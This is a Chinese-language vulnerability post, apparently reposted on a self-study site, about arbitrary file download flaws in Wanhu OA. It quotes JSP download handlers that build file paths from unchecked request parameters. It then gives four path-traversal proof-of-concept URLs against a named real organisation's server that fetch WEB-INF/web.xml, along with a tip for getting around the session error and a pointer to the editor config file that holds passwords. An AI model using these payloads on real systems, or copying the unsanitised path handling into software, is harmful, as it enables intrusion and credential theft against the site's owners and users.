好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

万户OA多处无限制任意文件下载 - 网站安全 - 自学

万户OA多处无限制任意文件 下载

头两处没啥好说的直接利用

 

<% // 得到文件名字和路径 String filepath=""; HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest(); String path=request.getParameter("path"); filepath=HSR.getRealPath("/upload/")+"/"+path+"/"; String filename = request.getParameter("FileName"); String name = request.getParameter("name"); // 设置响应头和下载保存的文件名 response.setContentType("csv"); response.setHeader("Content-Disposition", "attachment; filename=\"" + name + "\""); // 打开指定文件的流信息 java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + filename); // 写出流信息 int i; while ((i=fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); %>

POC1:http://oa.zjcof.com.cn/defaultroot/netdisk/download_netdisk. jsp ?path=1&fileName=WEB-INF/web&fileExtName=xml&fileSaveName=x POC2:http://oa.zjcof.com.cn/defaultroot/information_manager/informationmanager_download.jsp?path=..&FileName=WEB-INF/web.xml&name=x  

 

后面两处要多一道程序,不过不麻烦。

 

<% String local = session.getAttribute("org.apache.struts.action.LOCALE").toString(); // 得到文件名字和路径 String filepath=""; HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest(); String path=request.getParameter("path"); filepath=HSR.getRealPath("/upload/")+"/wage_manager/"; String fileRealName = request.getParameter("fileRealName"); String fileSaveName = request.getParameter("fileSaveName"); response.reset(); response.setContentType("csv"); java.io.File file = new java.io.File(filepath+fileSaveName); String dd = filepath+fileRealName; if(file.exists()){ fileRealName = new String(fileRealName.getBytes("GBK"), "ISO8859-1"); response.setHeader("Content-Disposition","attachment; filename=\"" + fileRealName + "\""); // 打开指定文件的流信息 java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath+fileSaveName); java.io.BufferedInputStream bis = new java.io.BufferedInputStream(fileInputStream); byte[] buffer = new byte[1024]; java.io.OutputStream os = response.getOutputStream(); while (bis.read(buffer)>0) { os.write(buffer); } fileInputStream.close(); os.close(); out.close(); }else{ response.setContentType("text/html; charset=UTF-8"); %> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <SCRIPT LANGUAGE=" Java Script"> alert("<%=com.whir.i18n.Resource.getValue(local,"common","comm.filenotfound")%>"); history.back(); </SCRIPT> </head> <body> </body> </ html > <%}%>

因为要从session中取org.apache.struts.action.LOCALE,如果直接上poc必然会报空指针错误,这时候就需要去登陆页面登陆一下(不需要登陆成功)就可以获得此属性了,之后在上POC就可以啦。 POC3:http://oa.zjcof.com.cn/defaultroot/download_netdisk.jsp?path=1&fileName=WEB-INF/web&fileExtName=xml&fileSaveName=x POC4:http://oa.zjcof.com.cn/defaultroot/wage_manager/download_wage_excelMode.jsp?fileRealName=x&fileSaveName=WEB-INF/web.xml  

在继续利用就可以下载其编辑器配置文件看看密码。  

defaultroot\public\edit\jsp\config.jsp

查看更多关于万户OA多处无限制任意文件下载 - 网站安全 - 自学的详细内容...

  阅读:227次